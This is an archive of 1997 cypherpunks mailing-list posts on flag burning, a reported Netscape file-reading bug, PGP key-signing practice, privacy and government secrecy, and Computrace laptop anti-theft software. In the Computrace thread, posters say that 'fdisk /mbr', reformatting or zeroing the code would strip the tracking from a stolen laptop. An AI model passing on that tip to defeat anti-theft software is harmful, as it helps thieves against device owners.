OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6DFQ49Co1n+aLhhAQF8WAQAu5mdShPAlsCQUSQjb2tMtMwQD/o7KFhy
hxZB2mv3dMZmdNzZxpspQslO3V11teL3aeN9lE+5NIHJtV3mO6Zhq8ScOo6nQb6L
1EC47wroVGB3H7FeIf8Ol6xfzu1fZf6KawvIrPu83rbte8RQ50KE+Q09CB8wMS69
U06XJWyktLc=
=QEUX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 13 Jun 1997 14:09:19 +0800
To: "RS" <cypherpunks@toad.com>
Subject: "Bozos Against Flag Burning"
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <v03102800afc6900d09d3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:20 PM -0700 6/12/97, RS wrote:
>When it comes down to flag burning, It really bothers me that we allow our
>symbol of freedom to be burned.  It's more than a flag and a right.  It's a
>symbol of the freedom we have.  To allow someone to publicly burn a flag is
>essentially displaying our freedom being burned.
>
>Bush was a veteran, and Clinton was not.  I take it the ones who are
>writing on this subject about how we should have the "freedom" to burn the
>flag have never served in the military or for our country.
>
>Being a veteran myself, I find it very distateful to allow anyone on our
>soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
>for a moment and what it really stands for.  Does it not stand for freedom
>and liberty?
>
>Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
>burn the flag unless you would like to live under another flag!

You ought to get off this list, then, because you'll surely find our
anarchist, anti-government, tax-evading ideas alien to you.

"Against the law" is not just a nicety of phrasing: it means someone who
"insults a symbol" goes to jail. Hardly consistent with a free society is
it?

As for Bush being a veteran and Clinton not being a veteran, what the hell
does this have to do with their political positions? Did you vote for
George McGovern in 1972 because he was a veteran (a bomber pilot, in fact)
while Richard Nixon was a guy who finagled his way out of joining the
military?

Jeeze, the bozos who wash up on our list. Where's Bell when we really need him?

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 13 Jun 1997 12:06:22 +0800
To: whgiii@amaranth.com
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130353.WAA05560@mailhub.amaranth.com>
Message-ID: <199706130357.WAA08338@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



William H. Geiger III wrote:
>    at 10:47 PM, ichudov@Algebra.COM (Ignoramus Chewed-Off) said:
> >William H. Geiger III wrote:
> >> Seems that there is a bug in Netscape including the new Communicator that
> >Do you know if the bug affects Unix versions? How about linux?
> >And what is the exploit?
> 
> They didn't go into details but they did say in the report that it was a
> bug in the "core" of the Netscape code so I would imagine that it is cross
> platform.
> 
> Unfortunatly they did give details on how to use this bug.
> 
> This seems to be a bug that has been out for awhile as it is not just the
> new Communicator but older versions of NS also.
> 
> Perhaps time to generate a new PGP key pair? :(

You mean, your passphrase is empty?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Fri, 13 Jun 1997 08:11:01 +0800
To: cypherpunks@toad.com
Subject: Re: Feds have lost battle against encryption
In-Reply-To: <199706121616.JAA08347@servo.qualcomm.com>
Message-ID: <19970612231926.4258.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Phil Karn <karn@qualcomm.com> writes:

> Somebody really needs to say the words "distributed computing" to
> Congress. Perhaps that will be the major benefit of the DES Challenge
> project when (not if) it succeeds.

I don't think the issue with china is key cracking.  The Chinese
supposedly used the supercomputers for weapons design and simulation,
which require significanly finer grained parallelism (and hence
lower-latency communication) than key cracking.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 13 Jun 1997 14:35:04 +0800
To: "RS" <cypherpunks@toad.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <v03007870afc6975ea950@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:20 PM -0700 6/12/97, RS wrote:
>When it comes down to flag burning, It really bothers me that we allow our
>symbol of freedom to be burned.  It's more than a flag and a right.  It's a
>symbol of the freedom we have.  To allow someone to publicly burn a flag is
>essentially displaying our freedom being burned.

When I was in Boy Scouts, they taught us that the only proper way to
dispose of a flag which was worn beyond use was to burn it.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 13:01:25 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130357.WAA08338@manifold.algebra.com>
Message-ID: <199706130454.XAA06447@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706130357.WAA08338@manifold.algebra.com>, on 06/12/97 
   at 10:57 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:

>William H. Geiger III wrote:
>>    at 10:47 PM, ichudov@Algebra.COM (Ignoramus Chewed-Off) said:
>> >William H. Geiger III wrote:
>> >> Seems that there is a bug in Netscape including the new Communicator that
>> >Do you know if the bug affects Unix versions? How about linux?
>> >And what is the exploit?
>> 
>> They didn't go into details but they did say in the report that it was a
>> bug in the "core" of the Netscape code so I would imagine that it is cross
>> platform.
>> 
>> Unfortunatly they did give details on how to use this bug.
>> 
>> This seems to be a bug that has been out for awhile as it is not just the
>> new Communicator but older versions of NS also.
>> 
>> Perhaps time to generate a new PGP key pair? :(

>You mean, your passphrase is empty?

No I feel quite secure in my choice of passphrases. I don't use NS so I am
not concerned about it. If for some reason I thought that a 3rd party had
aquired my secring.pgp file I would generate a new key (I'm paranoid but
that doesn't mean that "they" aren't out to get me <g>).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6DTgo9Co1n+aLhhAQEwZwP/Tr8gp9rfW8AKfQHCxwF2EyIkyAxdJc1k
RLAGWG/B3Sr4Xw8V8gfMw5rxh12gX6In1Xwj0XmlD0VVA7wkSS8Ai//zVoCTzIQU
MEeJQ/wLsJlxjNYwU32J+li4DIUCGqWvf+2vUHhasF8ANLK+f9Rh9/+76Wqkawmp
I0195q/QZAk=
=aeNE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 13 Jun 1997 12:19:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130333.WAA05305@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970613001349.006f4334@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:47 PM 6/12/97 -0500, Igor Chudov wrote:
>
>William H. Geiger III wrote:
>> Seems that there is a bug in Netscape including the new Communicator that
>> will allow a web site to read *ANY* file on your computer. I repeate
>> *ANY*, yes Virginia, *ANY* file on your computer.
>> 
>> WebEx user and loving it. :)))))
>
>Do you know if the bug affects Unix versions? How about linux?
>
>And what is the exploit?


------------------------------------------------
Danish software firm finds flaw that could let sites see data stored on PCs 

                          From Correspondent Steve Young
                          June 12, 1997: 6:58 p.m. ET

                 NEW YORK (CNNfn) - A serious new flaw
                 that affects all versions of Netscape
                 Communications Corp.'s popular Navigator
                 Internet browser software -- including the final
                 test version of its Communicator Suite released
                 Wednesday -- has been uncovered by a Danish
                 software firm, CNNfn has learned. 

                 The bug was reported by Cabocomm, a
                 software company located about 100 miles west
                 of Copenhagen, Denmark. The bug makes it
                 possible for Web-site operators to read anything
                 stored on the hard drive of a PC logged on to
                 the Web site.

                 After the firm reported the bug to CNN
                 Financial News, CNNfn and PC Magazine
                 tested the bug by creating and storing a
                 document on a PC's hard drive in New York.
                 Seconds later, the Danish company read it. 

                 As further proof, CNNfn and PC Magazine
                 created another document which the Danish
                 company was also able to read.

                 Larry Seltzer, technical director of PC Labs,
                 was among those who helped verify the bug
                 report. He said it would take a somewhat savvy
                 computer user to exploit the bug.

                 "They have to be seeking information from your
                 system and they also have to know the file
                 name. It's not that hard for somebody who's
                 looking to make trouble, but they do have to be
                 looking for it," Seltzer said.

                 "It's serious in that it's in the [actual] browser
                 ...whereas previous bugs generally required the
                 user to have downloaded an additional product,"
                 Jim Wise, UNIX administrator for CNNfn, said.

                 CNNfn's test showed that Internet security
                 firewalls offer no protection from the bug.

                 Mike Homer, vice president of marketing for
                 Netscape, said the company takes this and all
                 bug reports seriously. 

                 The Danish company says the reward of $1,000
                 and a T-shirt is "insultingly low" considering the
                 extent to which the bug report is likely to worry
                 Netscape users.

                 Cabocomm said it would accept "reasonable
                 compensation" for the technical information -- or
                 they can send a Netscape representative to
                 Cabocomm and get it for free.

                 CNNfn, PC Magazine and the Danish company
                 will not release technical details on the bug until
                 Netscape has prepared a bug fix.

                 The reason CNNfn is not reporting the specifics
                 of the bug is to avoid anyone exploiting it.

                 Until the bug is fixed, confidential letters,
                 business spreadsheets -- everything on your PC
                 -- can potentially be pilfered.

                 The Danish company says it won't exploit the
                 bug, but has no idea if someone else has found
                 the same bug and is compromising a system's
                 integrity. 


                                                          













                                                          















*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 14:39:42 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v0300786dafc68637a08c@[207.94.249.152]>
Message-ID: <199706130540.AAA06908@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0300786dafc68637a08c@[207.94.249.152]>, on 06/12/97 
   at 10:14 PM, Bill Frantz <frantz@netcom.com> said:

>At 6:47 PM -0700 6/12/97, Tim May wrote:
>>At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>>>IMHO - What you are really signing is the binding between the data
>>>associated with the key (usually an email address) and the key.  You are
>>>saying that the secret key holder is (one of the) person(s) who has access
>>>to that account, and not some man in the middle in the middle.  If you ask
>>>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>>>either see a forgery or an ID issued by an organization not interested in
>>>birth certificates.
>>
>>My binding was between the key, and "me." Those who wanted to send messages
>>to "me" could assume that only "I" could read it. The address
>>"tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
>>"tcmay@got.net" is somehow not the keyholder of that '92 key is a nonissue.

>My answer was a pure SPKI answer.  As a first approximation, in SPKI your
>identity is your key.  Meatspace doesn't enter into it at all.  This
>avoids the naming problem of meatspace (i.e. Which John Smith).

>Much of the problem with PGP key signing is there is no complete
>agreement on what it means.  I chose to have it mean that there
>verification of the binding between the data associated with the key and
>the key.

>If you have a version of the key with no signatures, then you can change
>the data field and re-sign with the associated secret key.  Since the
>data field has changed, you properly need to have others re-verify the
>validity of the binding.

I don't think that any changes that he would make to his key would need
re-verification provided that he signed those changes. Take the following
scenario:

John Doe creates a key and signs it:

pub 2048/FFFFFFFF 01/01/90 John Doe
sig                        John Doe (0xFFFFFFFF)

Now 3 other people verify that the key does belong to John Doe and sign
the key:

pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
sig                        John Doe   (0xFFFFFFFF)
sig                        Mary Jane  (0xAAAAAAAA)
sig                        Tom Thumb  (0x11111111)
sig                        Tiny Tim   (0xCCCCCCCC) 

Now John adds an aka to his key and signs it.

pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
sig                        John Doe   (0xFFFFFFFF)
sig                        Mary Jane  (0xAAAAAAAA)
sig                        Tom Thumb  (0x11111111)
sig                        Tiny Tim   (0xCCCCCCCC) 
aka                        John Doe john.doe@who-is-it.com
sig                        John Doe   (0xFFFFFFFF)

Since John Doe is the only one who could sign the key with the new aka one
can assume that the aka is as valid as the original userid.

 
- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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k/rXTVnwK/E=
=wXYL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 14:10:34 +0800
To: "RS" <panther@writeme.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <199706130547.AAA06962@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706130521.BAA13934@ren.globecomm.net>, on 06/13/97 
   at 01:20 AM, "RS" <panther@writeme.com> said:


>When it comes down to flag burning, It really bothers me that we allow
>our symbol of freedom to be burned.  It's more than a flag and a right. 
>It's a symbol of the freedom we have.  To allow someone to publicly burn
>a flag is essentially displaying our freedom being burned.

>Bush was a veteran, and Clinton was not.  I take it the ones who are
>writing on this subject about how we should have the "freedom" to burn
>the flag have never served in the military or for our country.  

>Being a veteran myself, I find it very distateful to allow anyone on our
>soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
>for a moment and what it really stands for.  Does it not stand for
>freedom and liberty?

>Sorry, I just had to let this out.  I stand behind Bush on this one. 
>Don't burn the flag unless you would like to live under another flag!

The flag is a symbol (aka a form of speech). If you dissagre with that
speech the you have every right to counter it with more speech (aka burn
the flag).

The consequences of dissalowing this or any form of political protest
outways any statisfaction blindly wrapping ones self in the flag may
provide.

- -- Veteran of more than one shit-hole we had no business being in.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 13 Jun 1997 16:14:25 +0800
To: nexus@eskimo.com (Brian Lane)
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>
Message-ID: <3.0.2.32.19970613005545.03c17688@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:39 AM 6/13/97 GMT, Brian Lane wrote:
>  I agree. That's why I like my solution to finding my stolen car
>better. A cellphone, GPS, and a little bit of glue electronics.

If the cellphone is turned on, it can be tracked. If it isn't, you can't
call it.

Nice try,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 13 Jun 1997 01:34:31 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Access to Storage and Communication Keys et al
In-Reply-To: <19970610134844.39484@bywater.songbird.com>
Message-ID: <199706121717.BAA27877@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




etc etc etc . . .

>For all the secrets I currently know< etc etc etc . . .

I was taught in anarchist primary school that:

"Secrecy is a tool of the State".

Two daughters of a silk merchant live it Kyoto,
The elder is twenty, the younger, eighteen.
A soldier may kill with his sword,
But these girls slay men with their eyes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 13 Jun 1997 01:33:15 +0800
To: cypherpunks@toad.com
Subject: Secrecy?
Message-ID: <199706121722.BAA27903@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain



Hmmmm . . .

After following this list for a while I offer the following 
observation:

"Would it be better to DEMAND the full disclosure of the governments 
secrets rather than scramble around trying to keep ours."

I am prepared to allow governments full access to my 
communications when they allow me full access to theirs.

But then again, why be governed in the first place?

Peter Nicol
Global Media Magnet
nicol@iap.net.au
019 111 943

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "RS" <panther@writeme.com>
Date: Fri, 13 Jun 1997 13:35:13 +0800
To: "CypherPunks" <cypherpunks@toad.com>
Subject: Flag Burning...
Message-ID: <199706130521.BAA13934@ren.globecomm.net>
MIME-Version: 1.0
Content-Type: text/plain



When it comes down to flag burning, It really bothers me that we allow our
symbol of freedom to be burned.  It's more than a flag and a right.  It's a
symbol of the freedom we have.  To allow someone to publicly burn a flag is
essentially displaying our freedom being burned.

Bush was a veteran, and Clinton was not.  I take it the ones who are
writing on this subject about how we should have the "freedom" to burn the
flag have never served in the military or for our country.  

Being a veteran myself, I find it very distateful to allow anyone on our
soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
for a moment and what it really stands for.  Does it not stand for freedom
and liberty?

Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
burn the flag unless you would like to live under another flag!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Fri, 13 Jun 1997 09:48:11 +0800
To: "David E. Smith" <dave@bureau42.ml.org>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.LNX.3.96.970612074651.9609A-100000@bureau42.ml.org>
Message-ID: <33a5a391.41617983@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997 07:50:49 -0500 (CDT), you wrote:

>On Wed, 11 Jun 1997, Raymond Mereniuk wrote:
>
>> This has been discussed on this list before, about 1 year ago.  The 
>> Computrace software is installed on a place on the hard drive where 
>> DOS utilities like Fdisk and Format can not get at it.  This is the 
>> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
>> remove this version of Diskmanager.
>
>There you go, assuming DOS is the centre of the universe again.
>I haven't seen this, but there's a pretty good chance that reformatting
>the hard disk as a Linux partition and installing LILO would clean
>that nuisance right up.  (If it didn't, you could probably just
>use your favorite disk editor to find the Computrace code and zero
>it out.)
>
>OC this is all above the means of the average laptop thief, but the
>dedicated ones probably have a staff techie.

  I think that a simple fdisk /mbr should take care of the problem.
The drive is booted from the master boot record. There is no way
around this without a bios change. LILO overwrites the MBR with the
LILO program to boot Linux (and other OSes on the system) so it too
would defeat their software.

  Doesn't sound like too much of a solution when you're dealing with
even a slightly knowledgable thief.

  Brian

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Fri, 13 Jun 1997 09:48:06 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>
Message-ID: <33a6a477.41847662@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997 11:57:57 -0400 (EDT), you wrote:

>(And yes I have that same sentiment about the LoJack car transponder, and
>the EZ-Pass toll paying system, and cell phones.  Each of these
>technologies can report on your whereabouts and thus pinpoint your
>location at any given time.  They're all invasion of privacy things that

  I agree. That's why I like my solution to finding my stolen car
better. A cellphone, GPS, and a little bit of glue electronics. If my
car is stolen, I call the cellphonein the trunk (or inside body panel,
etc.) enter my secret code and it reads out the current locaiton from
the GPS until I hang up on it.

  Brian

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 13 Jun 1997 02:36:17 +0800
To: whgiii@amaranth.com
Subject: Re: Secrecy?
In-Reply-To: <199706121722.BAA27903@hedgehog.highway1.com.au>
Message-ID: <199706121821.CAA28599@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




> >Hmmmm . . .
> 
> >After following this list for a while I offer the following  observation:
> 
> >"Would it be better to DEMAND the full disclosure of the governments 
> >secrets rather than scramble around trying to keep ours."
> 
> >I am prepared to allow governments full access to my 
> >communications when they allow me full access to theirs.
> 
> Well I for one am not.
> 
> What the government does is our business as they work for us. We have
> every right to DEMAND full acess to what they are doing.
> 
> The government does not have the right to access to what it's citizens are
> doing.
> 

Hmmm . . . "The Govenment" or "GovernmentS" . . . perhaps a fine 
point.

> This is a simple boss-employee relationship and the government is *NOT*
> the boss.

Ugly!  I do not enter into boss-employee relationships as either the 
boss or the employee.  I work/play WITH people FOR people as a node 
in the network, not a part of the heirarchy.  Ummm . . . You seem to 
have missed/not quoted the other part of my post.





Peter Nicol
Global Media Magnet
nicol@iap.net.au
019 111 943 (OZ)

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously." 
- Turblulent Mirror





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 13 Jun 1997 04:06:24 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Access to Storage and Communication Keys et al
In-Reply-To: <19970612121314.48508@bywater.songbird.com>
Message-ID: <199706121952.DAA29669@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




> 
> Secrecy is a tool, period.  Who is TruthMonger?  There are *no* 
> tools (at this abstract level) that are used exclusively by the 
> state.  Also, the raw material of politics is human nature, and politics 
> permeates all human activity, whether connected to the state or not. 
> 
> > > > Two daughters of a silk merchant live in Kyoto,
> > > > The elder is twenty, the younger, eighteen.
> > > > A soldier may kill with his sword,
> > > > But these girls slay men with their eyes.
> > > 
> > > Basho?
> > Ummm . . . My copy of "Zen Flesh, Zen Bones" only attributes this to 
> > "A well known Japanese poet".  Do you know anythang?
> 
> I no nothing.
> 
> Many years ago I was heavily into zen -- I have a well-worn copy of
> Zen Flesh, Zen Bones at home.  Further exploration lead me to
> Chuang-tzu:
> 
> 	http://songbird.com/gc/river/chuangtzu.html
> 

danke

> Perhaps I saw that poem in ZFZB.  But I have a couple of collections
> of Japanese poetry at home, as well as a very nice edition of Basho's
> "Journey to the North", or whatever it's called (it gets translated
> different ways, and I am confused...)
> 
> > current project: www.iinet.net.au/~ratty/legends
> 
> This has moved...

Not only that, but the site and the client SUCK.  Oh how I hate 
capitalism.  Even when I try to be one of the "winners" and involve 
myself in it, I still hate it.  etc etc rant on 


> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 

Thankyou for your posts.  It pleases me to see that a bunch of crypto 
intellectuals will take my posts seriously.  I have been interested 
in this topic for a while and only recently got my shit together 
enough to understand how to subscribe to a mailing list.  The last 
time I used PGP was when it was in DOS and I found it a hassle.  Does 
that make me a clueless newbie?

Ummm . . . my training was in Non Violent Action (NVA).  This is 
being used by ppl at the moment to protect Gibblett Forest from being 
clear fell logged by a (IMNSHO) corrupt "Conservation and Land 
Management" (CALM) authority in Western Australia.

As a way of countering destructive paranoia, we have developed a 
doctrine of "secrecy is a tool of the state".  (I am well aware of 
the limitations of Doctrine as a logical formal system godelwise).
To this end, we have NO SECRETS.  Everything we do is "public 
domain", ie, everyone, including our "enemies" gets to know it.  In 
practice, this is simple, ie Civil Disobedience.  You wanna log the 
trees, we gonna stop you, aint no big secret. We even go to the 
lengths of notifying the authourites, ie CALM/police of our 
strategies and telling them who will be doing an arrestable action 
on a particular day.  At the moment we have 3 ppl up Karri trees on 
platforms.

I find it very empowering.  I see no need for secrets.

Sure, secrecy is a tool.  I ask these questions:

1. Does it work.
2. Is it useful.  (also known as the Doctrine of Utility)
3. Does it make me happy.

I usually use these to analyse behaviour patterns, but hey . . .

1. Hmmmm . . . It kinda works, but it is a big hassle.  Then you 
gotta worry about looking like you are trying to hide somethang and 
thereby attracting attention.  Also, you get to worry about IF it 
does actually work and is uncrackable/contains no back door etc.

2. If you are paranoid or cannot organize yourself so that secrecy is 
unneccessary.

3. I am not sure WHAT makes me happy, but secure communications and 
commerce are not high on my list of priorities.  Perhaps an end to 
paranoia and capitalism that REQUIRE secure comms would make me 
happy.

Anyway . . .

Thanx for the pointer

Neter Picol
Violence is the last refuge of the Incompetent - Assimov (?)
A week is long time in crypto politics






Pete Nicol
Global Media Magnet
nicol@iap.net.au



BroomStick Productions
VRL - the Virtual Record Label
(+61 9) 335 9490   fax (+61 9) 335 9508
nicol@iap.net.au
broomstick@occtech.com.au

Current Project: www.iinet.com.au/~ratty/legends





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tim Tartaglia" <tag@silvix.sirinet.net>
Date: Fri, 13 Jun 1997 20:56:49 +0800
To: "RS" <cypherpunks@toad.com
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <199706131243.MAA26920@silvix.sirinet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Jun 97 at 1:20, RS wrote:

> To allow someone to publicly burn a flag is essentially displaying our
> freedom being burned.

This may seem counter-intuitive, but allowing someone to publicly 
burn a flag is _demonstration_, not destruction,  of the freedom we 
celebrate.  In fact, supporting other's right to utter speech that we find 
distasteful is the purest form of "freedom and liberty."  

Tag





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 23:46:27 +0800
To: cypherpunks@toad.com
Subject: Responses to "there's no general right to privacy"
Message-ID: <Pine.GSO.3.95.970613075729.27747F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




**************

Date: Thu, 12 Jun 1997 19:27:45 -0400
From: Barney Wolff <barney@databus.com>

> Date: Thu, 12 Jun 1997 18:58:25 -0400
> From: Declan McCullagh <declan@pathfinder.com>
> 
> ... But in truth, privacy is not a
> right but a preference: Some people want more of it
> than others.

Free speech is not a right but a preference.  Some people want more of it
than others.

Because your job would be easier if there were less privacy, we
all should suffer?  Consider yourself flamed.

Barney Wolff  <barney@databus.com>

**************

Date: Thu, 12 Jun 1997 22:43:59 -0400
From: Mike Godwin <mnemonic@well.com>
To: declan@well.com, fight-censorship-announce@vorlon.mit.edu

At 6:58 PM -0400 6/12/97, Declan McCullagh wrote:
>**************
>
>http://pathfinder.com/netly/editorial/0,1012,1050,00.html
>
>The Netly News
>June 12, 1997
>
>Privacy? What Privacy?
>by Declan McCullagh (declan@well.com)
>
>     I have a confession to make: Unlike many of my
>civil libertarian colleagues, I believe you have no
>general right to privacy online.

